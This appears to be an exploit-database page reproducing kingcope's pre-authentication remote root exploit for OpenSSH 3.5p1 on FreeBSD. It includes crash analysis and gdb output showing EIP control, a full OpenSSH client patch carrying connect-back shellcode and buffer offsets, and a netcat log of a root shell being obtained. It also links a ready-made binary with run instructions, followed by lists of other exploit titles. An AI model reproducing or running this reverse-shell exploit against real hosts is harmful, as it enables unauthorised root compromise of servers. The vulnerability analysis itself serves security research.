Menu

Search for hundreds of thousands of exploits

"FreeBSD OpenSSH 3.5p1 - Remote Command Execution"

Author

Exploit author

kingcope

Platform

Exploit platform

freebsd

Release date

Exploit published date

2011-06-30

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
OpenSSH 3.5p1 Remote Root Exploit for FreeBSD
Discovered and Exploited By Kingcope
Year 2011
--

The last two days I have been investigating a vulnerability in OpenSSH
affecting at least FreeBSD 4.9 and 4.11. These FreeBSD versions run
OpenSSH 3.5p1 in the default install.

The sshd banner for 4.11-RELEASE is "SSH-1.99-OpenSSH_3.5p1 FreeBSD-20060930".

A working Remote Exploit which spawns a root shell remotely and 
previous to authentication was developed.

The bug can be triggered both through ssh version 1 and ssh version 2
using a modified ssh client. During the investigation of the vulnerability it was found that
the bug resides in the source code file "auth2-pam-freebsd.c".

http://www.freebsd.org/cgi/cvsweb.cgi/src/crypto/openssh/Attic/auth2-pam-freebsd.c

This file does not exist in FreeBSD releases greater than 5.2.1. The last commit
is from 7 years ago.

Specifically the bug follows a code path in the PAM Authentication Thread inside this
source code, "pam_thread()". It could not be verified if the bug is inside this
(third party, freebsd) OpenSSH code or in the FreeBSD pam library itself.

Both the challenge response (ssh version 1) and keyboard interactive via pam
(ssh version 2) authentications go through this code path.

By supplying a long username to the daemon the sshd crashes.

h4x# sysctl kern.sugid_coredump=1
kern.sugid_coredump: 0 -> 1

root@debian:~# ssh -l`perl -e 'print "A" x 100'` 192.168.32.138

h4x# tail -1 /var/log/messages
Jun 30 16:01:25 h4x /kernel: pid 160 (sshd), uid 0: exited on signal 11 (core dumped)

Looking into the coredump reveals:

h4x# gdb -c /sshd.core
GNU gdb 4.18 (FreeBSD)
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-unknown-freebsd".
Core was generated by `sshd'.
Program terminated with signal 11, Segmentation fault.
#0  0x28092305 in ?? ()
(gdb) x/1i $eip
0x28092305:     (bad)

The sshd crahes at a place with illegal instructions. It looks like it depends
on how the sshd is started. Starting the sshd from the console as root and running
the ssh client with long username again reveals:

h4x# killall -9 sshd
h4x# /usr/sbin/sshd

root@debian:~# ssh -l`perl -e 'print "A" x 100'` 192.168.32.138

h4x# gdb -c /sshd.core
GNU gdb 4.18 (FreeBSD)
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-unknown-freebsd".
Core was generated by `sshd'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
(gdb) x/10i $eip
0x41414141:     Cannot access memory at address 0x41414141.

As you can see in the above gdb output we can control EIP completely.
If someone finds out on what this behaviour depends, especially why EIP can
be controlled when starting sshd in the console and can not be easily controlled
when being run from the boot sequence, please drop me an email at
isowarez.isowarez.isowarez (at) googlemail.com

Anyhow this procedure shows that the sshd can be exploited because the instruction
pointer can be fully controlled.

The developed exploit (Proof of Concept only) is a patched OpenSSH 5.8p2 client.
Using a reverse shellcode it will spawn a rootshell.

Only one offset is needed, the position of the shellcode can be found the following way:

h4x# gdb -c /sshd.core
GNU gdb 4.18 (FreeBSD)
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-unknown-freebsd".
Core was generated by `sshd'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
(gdb) set $x=0x08071000
(gdb) while(*++$x!=0x90909090)
 >end
(gdb) x/10b $x

The printed address is the beginning of the shellcode nopsled.

Attached is the Proof of Concept as a diff to OpenSSH-5.8p2.

It roughly does the following:

root@debian:~# ./ssh -1 192.168.32.138

root@debian:~# nc -v -l -p 10000
listening on [any] 10000 ...
192.168.32.138: inverse host lookup failed: Unknown host
connect to [192.168.32.128] from (UNKNOWN) [192.168.32.138] 1038
uname -a;id;
FreeBSD h4x.localdomain 4.11-RELEASE FreeBSD 4.11-RELEASE #0: Fri Jan 21 17:21:22 GMT 2005     root (at) perseus.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  i386
uid=0(root) gid=0(wheel) groups=0(wheel)

--

root@debian:~# diff openssh-5.8p2/sshconnect1.c openssh-5.8p2_2/sshconnect1.c
667a668,717
> // Connect Back Shellcode
>
> #define       IPADDR  "\xc0\xa8\x20\x80"
> #define PORT  "\x27\x10"              /* htons(10000) */
>
> char sc[] =
>    "\x90\x90"
>    "\x90\x90"
>    "\x31\xc9"                 // xor    ecx, ecx
>    "\xf7\xe1"                 // mul    ecx
>    "\x51"                     // push   ecx
>    "\x41"                     // inc    ecx
>    "\x51"                     // push   ecx
>    "\x41"                     // inc    ecx
>    "\x51"                     // push   ecx
>    "\x51"                     // push   ecx
>    "\xb0\x61"                 // mov    al, 97
>    "\xcd\x80"                 // int    80h
>    "\x89\xc3"                 // mov    ebx, eax
>    "\x68"IPADDR                       // push   dword 0101017fh
>    "\x66\x68"PORT             // push   word 4135
>    "\x66\x51"                 // push   cx
>    "\x89\xe6"                 // mov    esi, esp
>    "\xb2\x10"                 // mov    dl, 16
>    "\x52"                     // push   edx
>    "\x56"                     // push   esi
>    "\x50"                     // push   eax
>    "\x50"                     // push   eax
>    "\xb0\x62"                 // mov    al, 98
>    "\xcd\x80"                 // int    80h
>    "\x41"                     // inc    ecx
>    "\xb0\x5a"                 // mov    al, 90
>    "\x49"                     // dec    ecx
>    "\x51"                     // push   ecx
>    "\x53"                     // push   ebx
>    "\x53"                     // push   ebx
>    "\xcd\x80"                 // int    80h
>    "\x41"                     // inc    ecx
>    "\xe2\xf5"                 // loop   -10
>    "\x51"                     // push   ecx
>    "\x68\x2f\x2f\x73\x68"     // push   dword 68732f2fh
>    "\x68\x2f\x62\x69\x6e"     // push   dword 6e69622fh
>    "\x89\xe3"                 // mov    ebx, esp
>    "\x51"                     // push   ecx
>    "\x54"                     // push   esp
>    "\x53"                     // push   ebx
>    "\x53"                     // push   ebx
>    "\xb0\xc4\x34\xff"
>    "\xcd\x80";                // int    80h
>
679a730,737
>       char buffer[8096];
>
>       // Offset is for FreeBSD-4.11 RELEASE OpenSSH 3.5p1
>       memcpy(buffer, "AAAA\x58\xd8\x07\x08""CCCCDDDDEEEE\xd8\xd8\x07\x08""GGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO", 24);
>       memset(buffer+24, '\x90', 5000);
>       memcpy(buffer+24+5000, sc, sizeof(sc));
>       server_user=buffer;
>
690a749
>

Cheers,
Kingcope


A statically linked linux binary of the exploit can be found below attached is a diff to openssh-5.8p2.

the statically linked binary can be downloaded from http://isowarez.de/ssh_0day
Mirror: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/17462.tar.gz (ssh_0day.tar.gz)

run like ./ssh -1 -z <yourip> <target>
setup a netcat, port 443 on yourip first
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-04-06 "pfSense 2.4.4-P3 - 'User Manager' Persistent Cross-Site Scripting" webapps freebsd "Matthew Aberegg"
2020-02-11 "OpenSMTPD 6.4.0 < 6.6.1 - Local Privilege Escalation + Remote Code Execution" remote freebsd "Marco Ivaldi"
2019-12-30 "FreeBSD-SA-19:15.mqueuefs - Privilege Escalation" local freebsd "Karsten König"
2019-12-30 "FreeBSD-SA-19:02.fd - Privilege Escalation" local freebsd "Karsten König"
2019-07-10 "FreeBSD 12.0 - 'fd' Local Privilege Escalation" local freebsd gr4yf0x
2016-01-25 "FreeBSD SCTP ICMPv6 - Error Processing" dos freebsd ptsecurity
2015-01-29 "FreeBSD - Multiple Vulnerabilities" dos freebsd "Core Security"
2013-10-04 "FreeBSD 9.0 - Intel SYSRET Kernel Privilege Escalation" local freebsd CurcolHekerLink
2013-06-26 "FreeBSD 9 - Address Space Manipulation Privilege Escalation (Metasploit)" local freebsd Metasploit
2013-06-21 "FreeBSD 9.0 < 9.1 - 'mmap/ptrace' Local Privilege Escalation" local freebsd Hunger
Release Date Title Type Platform Author
2013-10-29 "Apache + PHP < 5.3.12 / < 5.4.2 - cgi-bin Remote Code Execution" remote php kingcope
2013-09-03 "MikroTik RouterOS - sshd (ROSSSH) Remote Heap Corruption" remote hardware kingcope
2013-08-07 "Apache suEXEC - Information Disclosure / Privilege Escalation" remote linux kingcope
2013-07-16 "Squid 3.3.5 - Denial of Service (PoC)" dos linux kingcope
2013-07-11 "Nginx 1.3.9/1.4.0 (x86) - Brute Force" remote linux_x86 kingcope
2013-06-05 "Plesk < 9.5.4 - Remote Command Execution" remote php kingcope
2013-04-12 "ircd-hybrid 8.0.5 - Denial of Service" dos linux kingcope
2012-12-06 "Oracle MySQL / MariaDB - Insecure Salt Generation Security Bypass" remote linux kingcope
2012-12-02 "MySQL (Linux) - Stack Buffer Overrun (PoC)" dos linux kingcope
2012-12-02 "MySQL (Linux) - Heap Overrun (PoC)" dos linux kingcope
2012-12-02 "MySQL - 'Stuxnet Technique' Windows Remote System" remote windows kingcope
2012-12-02 "MySQL (Linux) - Database Privilege Escalation" local linux kingcope
2012-12-02 "MySQL 5.1/5.5 (Windows) - 'MySQLJackpot' Remote Command Execution" remote windows kingcope
2012-12-02 "IBM System Director Agent - Remote System Level" remote windows kingcope
2012-12-02 "freeSSHd 2.1.3 - Remote Authentication Bypass" remote windows kingcope
2012-12-02 "MySQL - Remote User Enumeration" remote multiple kingcope
2012-12-02 "(SSH.com Communications) SSH Tectia (SSH < 2.0-6.1.9.95 / Tectia 6.1.9.95) - Remote Authentication Bypass" remote linux kingcope
2012-12-02 "freeFTPd 1.2.6 - Remote Authentication Bypass" remote windows kingcope
2012-12-02 "MySQL - Denial of Service (PoC)" dos linux kingcope
2012-08-13 "Pure-FTPd 1.0.21 (CentOS 6.2 / Ubuntu 8.04) - Null Pointer Dereference Crash (PoC)" dos linux kingcope
2012-07-01 "BSD - 'TelnetD' Remote Command Execution (2)" remote bsd kingcope
2012-06-10 "Microsoft IIS 6.0/7.5 (+ PHP) - Multiple Vulnerabilities" remote windows kingcope
2012-03-19 "Apache Tomcat - Account Scanner / 'PUT' Request Command Execution" remote multiple kingcope
2012-01-17 "Linux Kernel 2.6.36 IGMP - Remote Denial of Service" dos linux kingcope
2011-12-01 "Serv-U FTP Server - Jail Break" remote windows kingcope
2011-12-01 "FreeBSD - 'ftpd / ProFTPd' Remote Command Execution" remote freebsd kingcope
2011-10-11 "JBoss AS 2.0 - Remote Command Execution" remote windows kingcope
2011-08-19 "Apache - Remote Memory Exhaustion (Denial of Service)" dos multiple kingcope
2011-06-30 "FreeBSD OpenSSH 3.5p1 - Remote Command Execution" remote freebsd kingcope
2011-03-04 "JBoss Application Server 4.2 < 4.2.0.CP09 / 4.3 < 4.3.0.CP08 - Remote Command Execution" webapps jsp kingcope
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.